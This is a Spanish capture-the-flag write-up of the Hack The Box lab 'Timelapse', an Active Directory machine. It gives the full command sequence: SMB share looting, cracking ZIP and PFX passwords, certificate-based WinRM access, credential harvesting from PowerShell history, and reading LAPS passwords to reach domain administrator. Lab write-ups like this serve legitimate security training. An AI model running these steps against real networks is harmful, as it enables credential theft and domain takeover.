Resumen
Saludos, en esta oportunidad vamos a resolver la máquina de Hack The Box llamada Timelapse, la cual tiene una dificultad easy. Para lograr vulnerarla realizaremos lo siguiente:
- Enumeración del sistema, en este caso es de directorio activo (smbmap, smbclient, crackmapexec).
- Cracking de archivos ZIP protegidos.
- Cracking de archivos .PFX
- Extracción de clave privada y certificado a partir de archivo .PFX con openssl.
- Abusando de LAPS para obtener contraseñas utilizando crackmapexec.
Reconocimiento y Enumeración
En primer lugar, se comprueba la correcta conexión en la VPN con la máquina utilizando ping
:
1
2
3
ping -c 1 10.10.11.152
PING 10.10.11.152 (10.10.11.152) 56(84) bytes of data.
64 bytes from 10.10.11.152: icmp_seq=1 ttl=127 time=545 ms
Se observa que existe una correcta conexión con la máquina.
Para realizar un reconocimiento activo se utilizará la herramienta nmap
, en búsqueda de puertos abiertos en todo el rango (65535) y aplicando el parámetro -sS
el cual permite aumentar el rendimiento del escaneo, haciendo que las conexiones no se realicen totalmente (haciendo solo syn syn-ack):
1
sudo nmap -p- -sS -open -min-rate 5000 -Pn 10.10.11.152 -oG Ports
Al finalizar el escaneo, se pueden observar los puertos abiertos de la máquina víctima:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
5986/tcp open wsmans
9389/tcp open adws
49667/tcp open unknown
49673/tcp open unknown
49674/tcp open unknown
49692/tcp open unknown
49704/tcp open unknown
Los puertos expuestos de la máquina nos hacen pensar que se trata de un directorio activo, sin embargo, realizamos un escaneo de los servicios expuestos utilizando nmap
:
1
sudo nmap -sCV -p53,88,135,139,389,445,464,593,636,3268,3269,5986,9389,49667,49673,49674,49692,49704 10.10.11.152
Como resultado del escaneo tenemos:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2023-02-08 14:02:30Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: timelapse.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ldapssl?
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: timelapse.htb0., Site: Default-First-Site-Name)
3269/tcp open globalcatLDAPssl?
5986/tcp open ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_ssl-date: 2023-02-08T14:04:02+00:00; +7h59m59s from scanner time.
| tls-alpn:
|_ http/1.1
|_http-server-header: Microsoft-HTTPAPI/2.0
| ssl-cert: Subject: commonName=dc01.timelapse.htb
| Not valid before: 2021-10-25T14:05:29
|_Not valid after: 2022-10-25T14:25:29
9389/tcp open mc-nmf .NET Message Framing
49667/tcp open msrpc Microsoft Windows RPC
49673/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49674/tcp open msrpc Microsoft Windows RPC
49692/tcp open msrpc Microsoft Windows RPC
49704/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 311:
|_ Message signing enabled and required
| smb2-time:
| date: 2023-02-08T14:03:25
|_ start_date: N/A
|_clock-skew: mean: 7h59m58s, deviation: 0s, median: 7h59m57s
Efectivamente, estamos frente a un directorio activo. En primer lugar, se observa el puerto 445
abierto, el cual corresponde al servicio smb
, por lo tanto, intentaremos realizar una enumeración del equipo y también si es posible de usuarios o recursos, para ello usaremos diferentes herramientas, la primera es crackmapexec
:
1
2
3
crackmapexec smb 10.10.11.152
SMB 10.10.11.152 445 DC01 [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:timelapse.htb) (signing:True) (SMBv1:False)
Se puede observar que es un DC y que el dominio es timelapse.htb, por lo tanto, abrimos el /etc/hosts e ingresamos dicho nombre de dominio:
1
2
3
4
5
6
127.0.0.1 localhost
127.0.1.1 kali
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
10.10.11.152 timelapse.htb
Para de esta manera tener conectividad, para comprobarlo utilizamos ping
:
1
2
3
4
ping -c 1 timelapse.htb
PING timelapse.htb (10.10.11.152) 56(84) bytes of data.
64 bytes from timelapse.htb (10.10.11.152): icmp_seq=1 ttl=127 time=641 ms
Luego de comprobar lo anterior, probamos si se pueden listar archivos compartidos en la red, para ello utilizamos smbmap
utilizando Guest sesion:
1
2
3
4
5
6
7
8
9
10
11
12
smbmap -H 10.10.11.152 -u'null'
[+] Guest session IP: 10.10.11.152:445 Name: timelapse.htb
Disk Permissions Comment
---- ----------- -------
ADMIN$ NO ACCESS Remote Admin
C$ NO ACCESS Default share
IPC$ READ ONLY Remote IPC
NETLOGON NO ACCESS Logon server share
Shares READ ONLY
SYSVOL NO ACCESS Logon server share
Observamos que tenemos capacidad de lectura para el recurso Shares, asi que nos conectaremos utilizando smbclient
:
1
2
3
4
smbclient //10.10.11.152/shares -N
Try "help" to get a list of possible commands.
smb: \>
Ingresamos correctamente, ahora buscaremos que recursos compartidos existen:
1
2
3
4
smb: \Dev\> dir
. D 0 Mon Oct 25 15:40:06 2021
.. D 0 Mon Oct 25 15:40:06 2021
winrm_backup.zip A 2611 Mon Oct 25 11:46:42 2021
Encontramos un archivo dentro de la carpeta Dev llamado winrm_backup.zip, el cual se ve prometedor, por lo tanto, lo pasamos a nuestro equipo:
1
2
3
smb: \Dev\> get winrm_backup.zip
getting file \Dev\winrm_backup.zip of size 2611 as winrm_backup.zip (2.0 KiloBytes/sec) (average 2.0 KiloBytes/sec)
Si seguimos buscando en los directorios encontramos lo siguiente:
1
2
3
4
5
6
7
8
smb: \HelpDesk\> dir
. D 0 Mon Oct 25 11:48:42 2021
.. D 0 Mon Oct 25 11:48:42 2021
LAPS.x64.msi A 1118208 Mon Oct 25 10:57:50 2021
LAPS_Datasheet.docx A 104422 Mon Oct 25 10:57:46 2021
LAPS_OperationsGuide.docx A 641378 Mon Oct 25 10:57:40 2021
LAPS_TechnicalSpecification.docx A 72683 Mon Oct 25 10:57:44 2021
Encontramos diversos archivos de LAPS, el cual corresponde a una solución de Microsoft que permite administrar las contraseñas de cuentas de administrador local para equipos unidos a un dominio. Sin embargo, no podemos realizar nada con estos archivos, pero vale la pena saber que están implementados.
Explotación
Volviendo con el winrm_backup.zip tenemos:
1
2
3
4
unzip winrm_backup.zip
Archive: winrm_backup.zip
[winrm_backup.zip] legacyy_dev_auth.pfx password:
Pide una contraseña, la cual no tenemos, por lo tanto, vamos a intentar crackear dicha contraseña utilizando zip2john
, el cual extraer un hash que podemos intentar crackear:
1
2
ip2john winrm_backup.zip > hash
ver 2.0 efh 5455 efh 7875 winrm_backup.zip/legacyy_dev_auth.pfx PKZIP Encr: TS_chk, cmplen=2405, decmplen=2555, crc=12EC5683 ts=72AA cs=72aa type=8
Utilizando el mismo john
intentaremos romper este hash:
1
2
3
4
5
6
7
8
9
john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (PKZIP [32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
supremelegacy (winrm_backup.zip/legacyy_dev_auth.pfx)
1g 0:00:00:00 DONE (2023-02-08 01:34) 3.030g/s 10525Kp/s 10525Kc/s 10525KC/s surkerior..superkebab
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Pudimos encontrar la contraseña, la cual corresponde a supremelegacy asi que la utilizaremos para abrir el .zip:
1
2
3
4
unzip winrm_backup.zip
Archive: winrm_backup.zip
[winrm_backup.zip] legacyy_dev_auth.pfx password:
inflating: legacyy_dev_auth.pfx
Tenemos un archivo .pfx, el cual corresponde a un archivo de seguridad con clave privada de un certificado, si buscamos como abrir este tipo de archivo encontramos esta web, la cual nos dice como extraer una llave privada y un certificado a partir del archivo .pfx asi que vamos a intentarlo:
1
2
openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out privkey -nodes
Enter Import Password:
Pero nos pide una contraseña, la cual no tenemos.
Utilizando la herramienta pfx2john
podemos obtener la contraseña de este archivo .pfx:
1
pfx2john legacyy_dev_auth.pfx > hashpfx
Esto nos extrae un hash que podemos intentar romper, para esto utilizaremos john
:
1
2
3
4
5
6
7
8
9
10
11
john --wordlist=/usr/share/wordlists/rockyou.txt hashpfx
Using default input encoding: UTF-8
Loaded 1 password hash (pfx, (.pfx, .p12) [PKCS#12 PBE (SHA1/SHA2) 128/128 AVX 4x])
Cost 1 (iteration count) is 2000 for all loaded hashes
Cost 2 (mac-type [1:SHA1 224:SHA224 256:SHA256 384:SHA384 512:SHA512]) is 1 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
thuglegacy (legacyy_dev_auth.pfx)
1g 0:00:01:15 DONE (2023-02-08 01:53) 0.01326g/s 42860p/s 42860c/s 42860C/s thuglife06..thug211
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Tenemos la contraseña, la cual es ‘thuglegacy’, asi que utilizamos esta contraseña para extraer la clave privada y el certificado:
1
2
openssl pkcs12 -in legacyy_dev_auth.pfx -nocerts -out privkey -nodes
Enter Import Password:
1
2
3
ls
legacyy_dev_auth.pfx privkey
Tenemos la llave privada, ahora iremos por el certificado:
1
2
3
openssl pkcs12 -in legacyy_dev_auth.pfx -nokeys -out certificate.pem
Enter Import Password:
1
2
ls
certificate.pem legacyy_dev_auth.pfx privkey
Tenemos en nuestro poder la clave privada y el certificado, esto nos sirve pues al tenerlos podemos autenticarnos en la máquina utilizando evil-winrm
:
1
2
3
4
5
Usage: evil-winrm -i IP -u USER [-s SCRIPTS_PATH] [-e EXES_PATH] [-P PORT] [-p PASS] [-H HASH] [-U URL] [-S] [-c PUBLIC_KEY_PATH ] [-k PRIVATE_KEY_PATH ] [-r REALM] [--spn SPN_PREFIX] [-l]
-S, --ssl Enable ssl
-c, --pub-key PUBLIC_KEY_PATH Local path to public key certificate
-k, --priv-key PRIVATE_KEY_PATH Local path to private key certificate
Haciendo uso de estas flags podemos entrar, sin embargo, hay un detalle, dentro de la captura de nmap podemos observar que el puerto 5986 está abierto pero por ssl:
1
5986/tcp open ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
Por lo tanto, tenemos que utilizar la flag -S para realizar la conexión por ssl:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
evil-winrm -i 10.10.11.152 -c certificate.pem -k privkey -S
Evil-WinRM shell v3.4
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Warning: SSL enabled
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\legacyy\Documents> whoami
timelapse\legacyy
Hemos ingresado correctamente a la máquina, ahora buscamos la flag del usuario en su directorio personal:
1
2
*Evil-WinRM* PS C:\Users\legacyy\Desktop> type user.txt
f0077300e68b7b8434828
¡Bien! ahora solo falta encontrar la forma de convertirnos en administradores.
Escalada de privilegios
Ahora que estamos en la máquina buscaremos si tenemos algún privilegio especial:
1
2
3
4
5
6
7
8
9
10
C:\Users\legacyy> whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
Sin embargo, no tenemos. Veremos los grupos:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
*Evil-WinRM* PS C:\Users\legacyy> net user legacyy
User name legacyy
Full Name Legacyy
Comment
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never
Password last set 10/23/2021 11:17:10 AM
Password expires Never
Password changeable 10/24/2021 11:17:10 AM
Password required Yes
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon 2/8/2023 7:02:50 AM
Logon hours allowed All
Local Group Memberships *Remote Management Use
Global Group memberships *Domain Users *Development
Pero no vamos nada interesante además de Remote Management use, ahora vamos a enumerar los usuarios del sistema:
1
2
3
4
5
6
7
8
9
:\Users\legacyy> net user
User accounts for \\
-------------------------------------------------------------------------------
Administrator babywyrm Guest
krbtgt legacyy payl0ad
sinfulz svc_deploy thecybergeek
TRX
Luego de revisar todos los usuarios, uno en particular pertenece a un grupo especial:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
*Evil-WinRM* PS C:\Users\legacyy> net user svc_deploy
User name svc_deploy
Full Name svc_deploy
Comment
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never
Password last set 10/25/2021 11:12:37 AM
Password expires Never
Password changeable 10/26/2021 11:12:37 AM
Password required Yes
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon 10/25/2021 11:25:53 AM
Logon hours allowed All
Local Group Memberships *Remote Management Use
Global Group memberships *LAPS_Readers *Domain Users
The command completed successfully.
Pertenece al grupo LAPS_Readers, por lo tanto, necesitamos convertirnos en ese usuario.
Buscando vias potenciales, antes de utilizar herramientas como winPEAS y BloodHound, veremos si existe información en el historial de powershell:
1
2
3
4
5
6
7
8
9
10
11
*Evil-WinRM* PS C:\Users\legacyy> type AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
whoami
ipconfig /all
netstat -ano |select-string LIST
$so = New-PSSessionOption -SkipCACheck -SkipCNCheck -SkipRevocationCheck
$p = ConvertTo-SecureString 'E3R$Q62^12p7PLlC%KWaxuaV' -AsPlainText -Force
$c = New-Object System.Management.Automation.PSCredential ('svc_deploy', $p)
invoke-command -computername localhost -credential $c -port 5986 -usessl -
SessionOption $so -scriptblock {whoami}
get-aduser -filter * -properties *
exit
Si existe información, podemos observar una clave y nombre de usuario, svc_deploy. Haciendo uso de crackmapexec
verificamos si las credenciales son correctas:
1
2
3
crackmapexec smb 10.10.11.152 -u 'svc_deploy' -p 'E3R$Q62^12p7PLlC%KWaxuaV'
SMB 10.10.11.152 445 DC01 [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:timelapse.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.152 445 DC01 [+] timelapse.htb\svc_deploy:E3R$Q62^12p7PLlC%KWaxuaV
La contraseña es correcta, por lo tanto, utilizaremos el propio crackmapexec
para leer las contraseñas de LAPS, debido a que el usuario pertenece al grupo LAPS_Readers:
1
2
3
4
5
6
crackmapexec ldap 10.10.11.152 -u 'svc_deploy' -p 'E3R$Q62^12p7PLlC%KWaxuaV' –kdcHost 10.10.11.152 -M laps
SMB 10.10.11.152 445 DC01 [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:timelapse.htb) (signing:True) (SMBv1:False)
LDAP 10.10.11.152 389 DC01 [+] timelapse.htb\svc_deploy:E3R$Q62^12p7PLlC%KWaxuaV
LAPS 10.10.11.152 389 DC01 [*] Getting LAPS Passwords
LAPS 10.10.11.152 389 DC01 Computer: DC01$ Password: k./#7,%N)Jz(s;RI)7JPOHDS
Observamos que tenemos la contraseña, esta corresponde a la de administrador de dominio, pues LAPS sirve para eso, por lo tanto, vamos a verificar con crackmapexec
si es correcto:
1
2
3
4
crackmapexec smb 10.10.11.152 -u 'Administrator' -p 'k./#7,%N)Jz(s;RI)7JPOHDS'
SMB 10.10.11.152 445 DC01 [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:timelapse.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.152 445 DC01 [+] timelapse.htb\Administrator:k./#7,%N)Jz(s;RI)7JPOHDS (Pwn3d!)
Si, asi que utilizando evil-winrm
entramos:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
evil-winrm -i 10.10.11.152 -u 'Administrator' -p 'k./#7,%N)Jz(s;RI)7JPOHDS' -S
Evil-WinRM shell v3.4
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Warning: SSL enabled
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
timelapse\administrator
*Evil-WinRM* PS C:\Users\Administrator\Documents>
Ahora solo debemos encontrar la flag de administrador, sin embargo, no se encuentra en su directorio, pero existe un usuario que también es administrador:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
C:\Users> net user TRX
User name TRX
Full Name TRX
Comment
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never
Password last set 2/23/2022 5:43:45 PM
Password expires Never
Password changeable 2/24/2022 5:43:45 PM
Password required Yes
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon 2/8/2023 5:42:02 AM
Logon hours allowed All
Local Group Memberships
Global Group memberships *Domain Users *Domain Admins
The command completed successfully.
Por lo que iremos a su directorio a buscar:
1
2
*Evil-WinRM* PS C:\Users\TRX\Desktop> type root.txt
fd8604a9df69fc948356
!Listo!
Hemos vulnerado completamente la máquina hasta ser administradores.
Nos vemos, hasta la próxima.